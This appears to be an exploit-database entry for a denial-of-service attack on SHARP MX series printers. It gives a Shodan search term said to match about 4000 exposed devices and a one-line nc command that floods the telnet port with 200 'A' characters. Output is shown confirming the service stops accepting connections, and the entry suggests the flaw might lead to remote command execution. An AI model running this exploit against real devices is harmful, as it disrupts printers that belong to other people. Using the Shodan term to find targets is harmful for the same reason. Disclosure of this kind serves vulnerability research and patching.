SHARP MX Series - Denial of Service

                                                # Exploit Title: SHARP MX Series - Denial Of Service
# Date: 08/08/2014
# Exploit Author: pws
# Vendor Homepage: Sharp Printers
# Firmware Link: Not found
# Tested on: Latest version
# Shodan d0rk: "SHARP Telnet server" ~4000 devices
# CVE : None yet
 
$ python -c 'print "A"*200 + "\n"' | nc 192.168.30.5 23
 
$ telnet 192.168.30.5 23
Trying 192.168.30.5 23...
telnet: Unable to connect to remote host: Connection refused
 
This vulnerability leads to a Denial of Service vulnerability.
 
Unfortunately, we were unable to retrieve the core dumped but
this flaw might result in a Buffer Overflow allowing remote command execution.